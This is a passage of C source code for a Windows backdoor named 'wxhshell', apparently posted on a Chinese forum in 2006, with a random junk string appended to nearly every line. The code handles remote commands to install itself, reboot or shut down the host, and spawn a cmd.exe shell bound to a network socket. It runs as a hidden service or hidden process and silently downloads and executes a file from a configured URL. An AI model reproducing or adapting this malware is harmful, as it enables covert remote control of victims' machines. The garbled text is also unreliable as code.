1wc -v@E  
    switch(cmd[0]) { -'PpY302  
  ;@d %<yMf@  
  // 帮助 XFu@XUk!K  
  case '?': { N0vd>b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HqXo;`Yy}  
    break; E;4Ns  
  } 2hJ{+E.m  
  // 安装 M2@q{RiS  
  case 'i': { {yb\p9q{Yo  
    if(Install()) YRp\#pVnZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J82{PfQ"  
    else ~2H7_+.#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jl]]nO BQ/  
    break; gv[7h'}<  
    } )E7A,ZW,  
  // 卸载 Ve8!   
  case 'r': { ==XP}w)m  
    if(Uninstall()) 9)l_(*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9*H  
    else !7xp<=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CMBW]b|  
    break; <go~WpA|r  
    } qz0v1057#  
  // 显示 wxhshell 所在路径 ,\IqKRcYU  
  case 'p': { Oq[E\8Wn  
    char svExeFile[MAX_PATH]; L|q<Bpz  
    strcpy(svExeFile,"\n\r"); #h3+T*5} 6  
      strcat(svExeFile,ExeFile); 4{vd6T}V!  
        send(wsh,svExeFile,strlen(svExeFile),0); \PLV]%3,  
    break; <;6])  
    } D@^F6am%  
  // 重启 bg HaheU  
  case 'b': { KFZ[gqW8YY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T?\CAk>  
    if(Boot(REBOOT)) 4o*V12_r'4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK8nzGQl7  
    else { __ mtZ{  
    closesocket(wsh); !%u#J:z2  
    ExitThread(0); 'd t}i<  
    } Y;&#Ur8q  
    break; M)J*Df0@  
    } ^X&9"x)4  
  // 关机 "qj[[L Q  
  case 'd': { `5 6QX'?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )2FO+_K?T  
    if(Boot(SHUTDOWN)) tH'VV-!MZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vR)7qX}  
    else { 6fV)8,F3  
    closesocket(wsh); '!2t9B8XX  
    ExitThread(0); Un/fP1  
    } %b{!9-n}  
    break; ^ Wl/  
    } *.*:(7`  
  // 获取shell DO\EB6xH>%  
  case 's': { J7\q #]?  
    CmdShell(wsh); mNeW|3a  
    closesocket(wsh); x>J3tp$2  
    ExitThread(0); W vJ?e  
    break; Pu^~]^W)  
  } 5i^vN"J  
  // 退出 tbPPI)lu  
  case 'x': { p&4n3%(R@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZWa#}VS}-n  
    CloseIt(wsh); OV/FQH;V  
    break; )j6>b-H   
    } *h4m<\^U  
  // 离开 Az-!LAu9 R  
  case 'q': { 3E ZwF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =CVT8(N*  
    closesocket(wsh); j?,*fp8  
    WSACleanup(); u W|x)g11a  
    exit(1); -*lP1Nbp  
    break; V`M,d~:Pr"  
        } ,xz^ k/.  
  } 68c;Vb  
  } yy } 0_  
NNE,| :  
  // 提示信息 ;iORfUjxrq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K D-_~uIF  
} PbPP1G')  
  } ]= NYvv>H  
Dq?HUb^X  
  return; +zdkdS,2<  
} +r$.v|6  
/ 3k\kkv!  
// shell模块句柄 5lxq-E3  
int CmdShell(SOCKET sock) z{g<y^Im+E  
{ 5 WppV3;  
STARTUPINFO si; u-9t s  
ZeroMemory(&si,sizeof(si)); _;q-+"6L;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `fkri k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %'T>kz*A  
PROCESS_INFORMATION ProcessInfo; @L!#i*> 9  
char cmdline[]="cmd"; W[>TqT63  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kk98FI0]  
  return 0; nh=Us^xD  
} 62x< rph  
9(F?|bfk  
// 自身启动模式 ijqdZ+  
int StartFromService(void) qX'a&~s)n  
{ YB{E= \~  
typedef struct 0o|,& K  
{ Cj1UD;  
  DWORD ExitStatus; S.)7u6/_!  
  DWORD PebBaseAddress; ,A!e"=HF  
  DWORD AffinityMask; ~fp+@j-A  
  DWORD BasePriority; _O;~ }N4u  
  ULONG UniqueProcessId; gqD^Bs'VF  
  ULONG InheritedFromUniqueProcessId; :J`!'{r  
}   PROCESS_BASIC_INFORMATION; .XKvk(9  
bus=LAJt=  
PROCNTQSIP NtQueryInformationProcess; *z"1MU  
j'*p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZU.)K>'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !en F8a  
pd>a6 lI`  
  HANDLE             hProcess; {qWG^Db  
  PROCESS_BASIC_INFORMATION pbi; `/JR}g{O  
LEngZ~sV/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  q3-;}+  
  if(NULL == hInst ) return 0; Wx|6A#cg!  
<oaBh)=7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } o"_#\6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  .02(O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =@KYA(D  
FJ%R3N\  
  if (!NtQueryInformationProcess) return 0; #or oY.o  
!bV(VRbu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #8f"}>U9.,  
  if(!hProcess) return 0; .-u k   
9h38`*Im;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u4#~ i0@  
d)GkXll1D  
  CloseHandle(hProcess); @oqi@&L'C  
/-K dCp~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y5Wqu9C\Io  
if(hProcess==NULL) return 0; 0"<;You  
%c&A h  
HMODULE hMod; )|h;J4V  
char procName[255]; E"1 ;i  
unsigned long cbNeeded; ?tC}M;~  
g. Caapy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B mBzOk^  
/yw\(|T  
  CloseHandle(hProcess); 8@W/43K8-  
`^bvj]>l  
if(strstr(procName,"services")) return 1; // 以服务启动 [OoH5dD  
;p#Z:6  
  return 0; // 注册表启动 -6~dJTm[t  
} 1|EU5<  
-m'3L7:  
// 主模块 jdg ~!<C  
int StartWxhshell(LPSTR lpCmdLine) E #{WU}  
{ enbN0  
  SOCKET wsl; (LT\ IJSM  
BOOL val=TRUE; ;vv!qBl|@  
  int port=0; \, %o>M'  
  struct sockaddr_in door; }u3H4S<o  
L >Ez-  
  if(wscfg.ws_autoins) Install(); "'}v0*[  
f0mH|tI`  
port=atoi(lpCmdLine); +ptF-  
;+ C o!L  
if(port<=0) port=wscfg.ws_port; ^0-e,d 9h  
sPE)m_u  
  WSADATA data; emkMR{MY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bDZKQ&  
D=82$$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rd vPsv} D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [zh4W*K_cq  
  door.sin_family = AF_INET; "\zj][sL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Xk03\n6  
  door.sin_port = htons(port); L VU)W^  
n<%=~1iY+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V^Mf4!A(y  
closesocket(wsl); wKi}@|0[@  
return 1; }KD7 Y  
} 4l%?mvA^m  
v`_i1h9p{  
  if(listen(wsl,2) == INVALID_SOCKET) { .e FOfV)  
closesocket(wsl); JhhUg  
return 1; Q/3tg  
}  *_ {l  
  Wxhshell(wsl); hP4)8>  
  WSACleanup(); rAlh& ?X  
{7K'<ti  
return 0; oc3dd"8}@  
l6 S19Kv  
} *< $c =  
re ]Ste  
// 以NT服务方式启动 _d\u!giy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 43{_Y]  
{ n{.*El>{  
DWORD   status = 0; W? "2;](  
  DWORD   specificError = 0xfffffff; Msv*}^>  
/jZaU`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yUD_ w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~}7$uW0ol  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }DDVGs[  
  serviceStatus.dwWin32ExitCode     = 0; r sX$fU8  
  serviceStatus.dwServiceSpecificExitCode = 0; TXd5v#_vo  
  serviceStatus.dwCheckPoint       = 0; _uO!N(k.  
  serviceStatus.dwWaitHint       = 0; B8cBQv  
)]c]el@y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LXh@o1  
  if (hServiceStatusHandle==0) return; KJ0xp h f  
(^DLCP#*  
status = GetLastError(); WA]%,6  
  if (status!=NO_ERROR) :Wyn+  
{ F_Z&-+,*3t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `N|U"s;  
    serviceStatus.dwCheckPoint       = 0; nJtEUVMt  
    serviceStatus.dwWaitHint       = 0; 7x[LF ^o  
    serviceStatus.dwWin32ExitCode     = status; IFd )OZ5  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xq8uY/j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !fQJL   
    return;  .6O52E  
  } [):{5hMA  
97qtJ(ESI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5"-una>D  
  serviceStatus.dwCheckPoint       = 0; 9*}iBs  
  serviceStatus.dwWaitHint       = 0; &\J?[>EJ.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V-D}U$fw  
} Sk6b`W7$  
;mf4 U85  
// 处理NT服务事件,比如:启动、停止 %XEKhy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0On? {Bw  
{ qYgwyj=4  
switch(fdwControl) kfMhw M8kP  
{ `y8 ?=  
case SERVICE_CONTROL_STOP: ~")h E%Kl}  
  serviceStatus.dwWin32ExitCode = 0; (R4PD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sBP}n.#$  
  serviceStatus.dwCheckPoint   = 0; LJRg>8  
  serviceStatus.dwWaitHint     = 0; ZNzR `6}  
  { _'! aj +{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &\;<t, 3A~  
  } T[5gom  
  return; P &;y] ,)E  
case SERVICE_CONTROL_PAUSE: 7ei>L]gm%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q!4i_)rM  
  break;  ${A5-  
case SERVICE_CONTROL_CONTINUE: G0_&gx`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,{.zh&=4  
  break; g".d"d{  
case SERVICE_CONTROL_INTERROGATE: :V&N\>Wo  
  break; [D*J[?yt  
}; +3M$3w{2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1*C:h g@  
} 8q]J;T  
Wmzq  
// 标准应用程序主函数 !1ML%}vvB,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cZNi~  
{ u~$WH, P3  
pyUNRqp  
// 获取操作系统版本 iBG`43;  
OsIsNt=GetOsVer(); 1 L+=|*:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jP1$qhp  
bjPka{PBj  
  // 从命令行安装 Ze-MAt  
  if(strpbrk(lpCmdLine,"iI")) Install(); U8CWz!;Qz  
6BDt.bG  
  // 下载执行文件 +68+PhHF  
if(wscfg.ws_downexe) { El~-M`Gf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UH5w7M  
  WinExec(wscfg.ws_filenam,SW_HIDE); EoKC8/  
} z7-`Y9Ypd  
+O)]^"TG  
if(!OsIsNt) { 3^!Hl8P7  
// 如果时win9x,隐藏进程并且设置为注册表启动 FJO"|||Y'|  
HideProc(); r8IX/ ,  
StartWxhshell(lpCmdLine); oS~}TR:}  
} }X=87ud  
else w+q?T  
  if(StartFromService()) %oAL  
  // 以服务方式启动 g(m xhD!k  
  StartServiceCtrlDispatcher(DispatchTable); zL9VR;q  
else ~}h^38  
  // 普通方式启动 ~_'0]P\  
  StartWxhshell(lpCmdLine); Y.q>EUSH  
o[o:A|n  
return 0; >R(8/#|E  
}
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只看该作者 1 发表于: 2006-10-10
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